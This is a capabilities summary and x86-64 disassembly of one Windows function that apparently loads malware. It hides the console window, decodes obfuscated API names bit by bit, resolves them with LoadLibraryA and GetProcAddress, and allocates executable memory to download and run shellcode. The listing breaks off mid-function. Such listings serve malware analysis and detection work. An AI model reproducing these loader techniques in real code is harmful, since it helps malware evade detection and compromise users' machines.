Function at 0x140001084
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get http content length
Read data from internet
Receive data

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x100
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x14000e028]
xor rax, rsp
mov qword [rbp + 0x2f], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor r12d, r12d
test rax, rax
je 0x1400010d7
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov ebx, 1
cmp dword [0x1404c96a4], 0x3b9aca00
jg 0x1400010fb
xor ecx, ecx
call qword [sym.imp.USER32.dll_UpdateWindow]
add dword [0x1404c96a4], ebx
call fcn.14000104c
mov edi, r12d
mov ecx, ebx
mov esi, 0x20
mov r8d, esi
lea r14d, [rsi - 0x1c]
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, 0x4f
je 0x14000111e
test edx, edx
je 0x140001122
jmp 0x140001124
test edx, edx
je 0x140001124
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x14000110c
mov byte [rbp - 0x59], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, 0x61
je 0x140001149
test edx, edx
je 0x14000114d
jmp 0x14000114f
test edx, edx
je 0x14000114f
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x140001137
mov byte [rbp - 0x58], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, 0x76
je 0x140001174
test edx, edx
je 0x140001178
jmp 0x14000117a
test edx, edx
je 0x14000117a
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x140001162
mov byte [rbp - 0x57], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, 0x6a
je 0x14000119f
test edx, edx
je 0x1400011a3
jmp 0x1400011a5
test edx, edx
je 0x1400011a5
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x14000118d
mov byte [rbp - 0x56], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, 0x61
je 0x1400011ca
test edx, edx
je 0x1400011ce
jmp 0x1400011d0
test edx, edx
je 0x1400011d0
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x1400011b8
mov byte [rbp - 0x55], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov r13d, 0x68
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, r13d
je 0x1400011fb
test edx, edx
je 0x1400011ff
jmp 0x140001201
test edx, edx
je 0x140001201
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x1400011e9
mov byte [rbp - 0x54], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, 0x37
je 0x140001226
test edx, edx
je 0x14000122a
jmp 0x14000122c
test edx, edx
je 0x14000122c
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x140001214
mov byte [rbp - 0x53], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, 0x36
je 0x140001251
test edx, edx
je 0x140001255
jmp 0x140001257
test edx, edx
je 0x140001257
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x14000123f
mov byte [rbp - 0x52], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, 0x2a
je 0x14000127c
test edx, edx
je 0x140001280
jmp 0x140001282
test edx, edx
je 0x140001282
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x14000126a
mov byte [rbp - 0x51], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, 0x60
je 0x1400012a7
test edx, edx
je 0x1400012ab
jmp 0x1400012ad
test edx, edx
je 0x1400012ad
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x140001295
mov byte [rbp - 0x50], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, r13d
je 0x1400012d2
test edx, edx
je 0x1400012d6
jmp 0x1400012d8
test edx, edx
je 0x1400012d8
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x1400012c0
mov byte [rbp - 0x4f], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, r13d
je 0x1400012fd
test edx, edx
je 0x140001301
jmp 0x140001303
test edx, edx
je 0x140001303
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x1400012eb
mov byte [rbp - 0x4e], dil
mov edx, r12d
mov ecx, ebx
mov rdi, rsi
mov eax, ecx
and eax, r14d
je 0x140001323
test eax, eax
je 0x140001327
jmp 0x140001329
test eax, eax
je 0x140001329
or edx, ecx
add ecx, ecx
sub rdi, rbx
jne 0x140001316
mov byte [rbp - 0x4d], dl
lea rcx, [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
mov edi, r12d
mov edx, ebx
mov r8, rsi
mov ecx, edx
mov eax, edx
and eax, r14d
and ecx, 0x52
je 0x14000135a
test eax, eax
je 0x14000135e
jmp 0x140001360
test eax, eax
je 0x140001360
or edi, edx
add edx, edx
sub r8, rbx
jne 0x140001348
mov byte [rbp - 0x49], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, 0x6d
je 0x140001385
test edx, edx
je 0x140001389
jmp 0x14000138b
test edx, edx
je 0x14000138b
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x140001373
mov byte [rbp - 0x48], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, 0x76
je 0x1400013b0
test edx, edx
je 0x1400013b4
jmp 0x1400013b6
test edx, edx
je 0x1400013b6
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x14000139e
mov byte [rbp - 0x47], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, 0x70
je 0x1400013db
test edx, edx
je 0x1400013df
jmp 0x1400013e1
test edx, edx
je 0x1400013e1
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x1400013c9
mov byte [rbp - 0x46], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, 0x71
je 0x140001406
test edx, edx
je 0x14000140a
jmp 0x14000140c
test edx, edx
je 0x14000140c
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x1400013f4
mov byte [rbp - 0x45], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, 0x65
je 0x140001431
test edx, edx
je 0x140001435
jmp 0x140001437
test edx, edx
je 0x140001437
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x14000141f
mov byte [rbp - 0x44], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, r13d
je 0x14000145c
test edx, edx
je 0x140001460
jmp 0x140001462
test edx, edx
je 0x140001462
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x14000144a
mov byte [rbp - 0x43], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, 0x45
je 0x140001487
test edx, edx
je 0x14000148b
jmp 0x14000148d
test edx, edx
je 0x14000148d
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x140001475
mov byte [rbp - 0x42], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, r13d
je 0x1400014b2
test edx, edx
je 0x1400014b6
jmp 0x1400014b8
test edx, edx
je 0x1400014b8
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x1400014a0
mov byte [rbp - 0x41], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, r13d
je 0x1400014dd
test edx, edx
je 0x1400014e1
jmp 0x1400014e3
test edx, edx
je 0x1400014e3
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x1400014cb
mov byte [rbp - 0x40], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, 0x6b
je 0x140001508
test edx, edx
je 0x14000150c
jmp 0x14000150e
test edx, edx
je 0x14000150e
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x1400014f6
mov byte [rbp - 0x3f], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, r14d
and eax, 0x67
je 0x140001533
test edx, edx
je 0x140001537
jmp 0x140001539
test edx, edx
je 0x140001539
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x140001521
mov byte [rbp - 0x3e], dil
mov edx, r12d
mov ecx, ebx
mov rdi, rsi
mov eax, ecx
and eax, r14d
je 0x140001559
test eax, eax
je 0x14000155d
jmp 0x14000155f
test eax, eax
je 0x14000155f
or edx, ecx
add ecx, ecx
sub rdi, rbx
jne 0x14000154c
mov byte [rbp - 0x3d], dl
lea rdx, [rbp - 0x49]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9d, [rdi + 0x40]
mov r8d, 0x1000
mov r13d, 0x4b9600
mov edx, r13d
xor ecx, ecx
call rax
mov r14, rax
mov edi, r12d
mov edx, ebx
mov r8, rsi
mov ecx, edx
mov eax, edx
and eax, ebx
and ecx, 0x6c
je 0x1400015a9
test eax, eax
je 0x1400015ad
jmp 0x1400015af
test eax, eax
je 0x1400015af
or edi, edx
add edx, edx
sub r8, rbx
jne 0x140001598
mov byte [rbp - 0x39], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, ebx
and eax, 0x75
je 0x1400015d3
test edx, edx
je 0x1400015d7
jmp 0x1400015d9
test edx, edx
je 0x1400015d9
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x1400015c2
mov byte [rbp - 0x38], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, ebx
and eax, 0x39
je 0x1400015fd
test edx, edx
je 0x140001601
jmp 0x140001603
test edx, edx
je 0x140001603
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x1400015ec
mov byte [rbp - 0x37], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, ebx
and eax, 0x75
je 0x140001627
test edx, edx
je 0x14000162b
jmp 0x14000162d
test edx, edx
je 0x14000162d
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x140001616
mov byte [rbp - 0x36], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, ebx
and eax, 0x50
je 0x140001651
test edx, edx
je 0x140001655
jmp 0x140001657
test edx, edx
je 0x140001657
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x140001640
mov byte [rbp - 0x35], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, ebx
and eax, 0x51
je 0x14000167b
test edx, edx
je 0x14000167f
jmp 0x140001681
test edx, edx
je 0x140001681
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x14000166a
mov byte [rbp - 0x34], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, ebx
and eax, 0x63
je 0x1400016a5
test edx, edx
je 0x1400016a9
jmp 0x1400016ab
test edx, edx
je 0x1400016ab
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x140001694
mov byte [rbp - 0x33], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, ebx
and eax, 0x30
je 0x1400016cf
test edx, edx
je 0x1400016d3
jmp 0x1400016d5
test edx, edx
je 0x1400016d5
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x1400016be
mov byte [rbp - 0x32], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, ebx
and eax, 0x37
je 0x1400016f9
test edx, edx
je 0x1400016fd
jmp 0x1400016ff
test edx, edx
je 0x1400016ff
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x1400016e8
mov byte [rbp - 0x31], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, ebx
and eax, 0x30
je 0x140001723
test edx, edx
je 0x140001727
jmp 0x140001729
test edx, edx
je 0x140001729
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x140001712
mov byte [rbp - 0x30], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, ebx
and eax, 0x6c
je 0x14000174d
test edx, edx
je 0x140001751
jmp 0x140001753
test edx, edx
je 0x140001753
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x14000173c
mov byte [rbp - 0x2f], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, ebx
and eax, 0x4c
je 0x140001777
test edx, edx
je 0x14000177b
jmp 0x14000177d
test edx, edx
je 0x14000177d
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x140001766
mov byte [rbp - 0x2e], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, ebx
and eax, 0x76
je 0x1400017a1
test edx, edx
je 0x1400017a5
jmp 0x1400017a7
test edx, edx
je 0x1400017a7
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x140001790
mov byte [rbp - 0x2d], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, ebx
and eax, 0x70
je 0x1400017cb
test edx, edx
je 0x1400017cf
jmp 0x1400017d1
test edx, edx
je 0x1400017d1
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x1400017ba
mov byte [rbp - 0x2c], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, ebx
and eax, 0x6e
je 0x1400017f5
test edx, edx
je 0x1400017f9
jmp 0x1400017fb
test edx, edx
je 0x1400017fb
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x1400017e4
mov byte [rbp - 0x2b], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, ebx
and eax, 0x38
je 0x14000181f
test edx, edx
je 0x140001823
jmp 0x140001825
test edx, edx
je 0x140001825
or edi, ecx
add ecx, ecx
sub r8, rbx
jne 0x14000180e
mov byte [rbp - 0x2a], dil
mov edi, r12d
mov ecx, ebx
mov r8, rsi
mov eax, ecx
mov edx, ecx
and edx, ebx
and eax, 0x71
je 0x140001849